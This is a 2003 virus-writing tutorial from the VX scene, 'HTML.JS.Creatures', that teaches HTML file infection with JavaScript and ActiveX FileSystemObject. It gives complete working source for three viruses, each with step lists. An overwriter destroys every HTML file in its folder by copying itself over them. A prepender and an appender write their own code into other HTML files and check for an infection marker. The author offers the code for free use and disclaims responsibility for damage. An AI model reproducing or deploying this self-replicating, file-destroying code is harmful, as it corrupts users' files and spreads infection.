____________________________________________________________________________________________
                                 ...:: HTML.JS.Creatures ::...
                                    written by DiA (c) 2oo3
                                           [GermanY]
                                http://www.anzwers.net/free/dia
____________________________________________________________________________________________


+++++Disclaimer+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+I am NOT responsible for any damage that you do! You can need the code however you want...+
+My motherlanguage is not English, I hope you understand what I mean.                      +
+Feel FREE to write any Comments to                                                        +
+                                       DiA_hates_machine@gmx.de                           +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


............................................
.                                          .
. Index: _1_  :  Intro                     .
.                                          .
.        _2_  :  FileSystemObject          .
.                                          .
.        _3_  :  Step1 = Overwriter        .
.                                          .
.        _4_  :  Step2 = Prepender         .
.                                          .
.        _5_  :  Step3 = Appender          .
.                                          .
.        _6_  :  Outro                     .
.                                          .
............................................



_1_ : Intro

All Tutorials that I have written, contains Win32Asm Stuff. But not this, in this Tut I
show HTML Infection with JavaScript! That is the easyest thing I ever seen in the VX World!
It is really good to understand, and you can see how Viruses works, the same technics used 
in other languages: Win32Asm, C++, ..., but harder to understand. I do not describe the code
, it is really easy to understand, if you had HTML, JavaScript and FileSystemObject
knowledge. So have fun with that little Tutorial...



_2_ : FileSystemObject

With this Object you can play with files in JavaScript (,VBS). Before you handle with files
you must create the FSO. I don't describe all Specials from the FSO. There are other really
good Tutorials in the Web. If you are a German (Na alles klar? =) go to 
http://www.html-world.de and download the big FileSystemObject as *.PDF file. If you are a 
Non-German read the Tut from Kefi. There you find all you need...

But back to this Tutorial, we wanna create the FileSystemObject:

<html>
<head>
<script language="JavaScript">
fso = new ActiveXObject("Scripting.FileSystemObject");
</script>
</head>
</html>

And now handle all other stuff with fso.Object .



_3_ : Step1 = Overwriter

1. Get Current File
2. Check for location file:///
3. Find File
4. If Founded File == Current File go 7.
5. Check if the file is a *.htm or *.html, if no go to 7.
6. Copy Current File over the Founded File
7. Find Next File and go to 4. ->No more files go to 8.
8. Show Message and Exit
Code:

<html><Overwriter>
<head>
<script language="JavaScript">
CurrentFile = location.href;

if (CurrentFile.indexOf("file:///") != -1) {
 CurrentFile = location.href.substr(8);

 fso = new ActiveXObject("Scripting.FileSystemObject");
 File = fso.GetFile(CurrentFile);
 Path = File.ParentFolder;
 FileName = File.Name;
 Folder = fso.GetFolder(Path);
 FindFile = new Enumerator(Folder.Files);
 FindFile.moveFirst();

 while (FindFile.atEnd() == false) {
  Found = FindFile.item();
  FileType = fso.GetFile(Found);
  HTML = FileType.Type;

  if (Found != Path+"\\"+FileName) {

   if (HTML.indexOf("HTML") != -1) {
    OW = fso.GetFile(Path+"\\"+FileName);
    OW.Copy(Found);
    }
   }
  FindFile.moveNext();
 }
}
</script>
<b>HTML.JS.Overwriter Example</b><br>
This File is destroyed! And all other Files in this Directory!<br><br>
DO NOT write destructive code, read next Step in the HTML.JS.Creatures<br>
Tutorial to learn how to write a HTML.JS.Prepender...
</head>
</html>



_4_ : Step2 = Prepender

1.  Get Current File
2.  Check for location file:///
3.  Read Virus Code
4.  Find File
5.  If Founded File == Current File go to 11.
6.  Check if the file is a *.htm or *.html, if no go to 11.
7.  Check for Infection Marker, if infected go to 11.
8.  Read Host Code
9.  Create New File (over Founded File)
10. Write Virus Code in this File, then Append the Host Code
11. Find Next File and go to 5. ->No more files go to 12.
12. Exit
Code:

<html><JS.Prepender>
<head>
<script language="JavaScript">
CurrentFile = location.href;

if (CurrentFile.indexOf("file:///") != -1) {
 CurrentFile = location.href.substr(8);

 fso = new ActiveXObject("Scripting.FileSystemObject");
 File = fso.GetFile(CurrentFile);
 Path = File.ParentFolder;
 FileName = File.Name;
 ReadVirus = fso.OpenTextFile(Path+"\\"+FileName, 1, false, 0);
 Virus = ReadVirus.Read(1179);

 Folder = fso.GetFolder(Path);
 FindFile = new Enumerator(Folder.Files);
 FindFile.moveFirst();

 while (FindFile.atEnd() == false) {
  Found = FindFile.item();
  FileType = fso.GetFile(Found);
  HTML = FileType.Type;

  if (Found != Path+"\\"+FileName) {

   if (HTML.indexOf("HTML") != -1) {
    CheckInfection = fso.OpenTextFile(Found, 1, false, 0);
    Marker = CheckInfection.ReadLine();

   if (Marker.indexOf("<JS.Prepender>") == -1 ) {
    ReadHost = fso.OpenTextFile(Found, 1, false, 0);
    Host = ReadHost.ReadAll();

    fso.CreateTextFile(Found)
    Prepend = fso.OpenTextFile(Found, 2, false, 0);
    Prepend.Write(Virus+Host);
    Prepend.Close();
    }
   }
  }
  FindFile.moveNext();
 }
}
</script>
</html>



_5_ : Step3 = Appender

1.  Get Current File
2.  Check for location file:///
3.  Find  Virus Code
4.  Read Virus Code
5.  Find File
6.  If Founded File == Current File go to 12.
7.  Check if the file is a *.htm or *.html, if no go to 12.
8.  Check for Infection Marker, if infected go to 12.
9.  Read Host Code
10. Create New File (over Founded File)
11. Write Host Code in this File, then Append the Virus Code
12. Find Next File and go to 6. ->No more files go to 13.
13. Exit
Code:

<html><JS.Appender>
<head>
<script language="JavaScript">
CurrentFile = location.href;

if (CurrentFile.indexOf("file:///") != -1) {
 CurrentFile = location.href.substr(8);

 fso = new ActiveXObject("Scripting.FileSystemObject");
 File = fso.GetFile(CurrentFile);
 Path = File.ParentFolder;
 FileName = File.Name;

 Size = File.Size;
 VirusPlace = eval(Size+"-1461");
 ReadVirus = fso.OpenTextFile(Path+"\\"+FileName, 1, false, 0);
 ReadVirus.Read(VirusPlace);
 Virus = ReadVirus.ReadAll();

 Folder = fso.GetFolder(Path);
 FindFile = new Enumerator(Folder.Files);
 FindFile.moveFirst();

 while (FindFile.atEnd() == false) {
  Found = FindFile.item();
  FileType = fso.GetFile(Found);
  HTML = FileType.Type;

  if (Found != Path+"\\"+FileName) {

   if (HTML.indexOf("HTML") != -1) {

   CheckInfection = fso.OpenTextFile(Found, 1, false, 0);
   CheckLine = CheckInfection.ReadLine();
   while (CheckInfection.AtEndOfStream == false) {

   No = 0;
   if (CheckLine.indexOf("<JS.Appender>") != -1) {
    No = 1;
    break;
   }

   else {
    CheckLine = CheckInfection.ReadLine();
   }
   }

   if (No != 1) {
    ReadHost = fso.OpenTextFile(Found, 1, false, 0);
    Host = ReadHost.ReadAll();

    fso.CreateTextFile(Found);
    Append = fso.OpenTextFile(Found, 2, false, 0);
    Append.Write(Host+Virus);
    Append.Close();
   }

   }
  }
  FindFile.moveNext();
 }
}
</script>
</head>
</html>



_6_ : Outro

Thats all about HTML Infection! It's easy to write new Viruses, but all use the same 
technics. There you can see that Win32Asm is MORE POWERFUL! I think:

Breakfast = code a HTML Virus
Lunch     = code a Win32Asm Virus
Dinner    = Smoke.

See you, DiA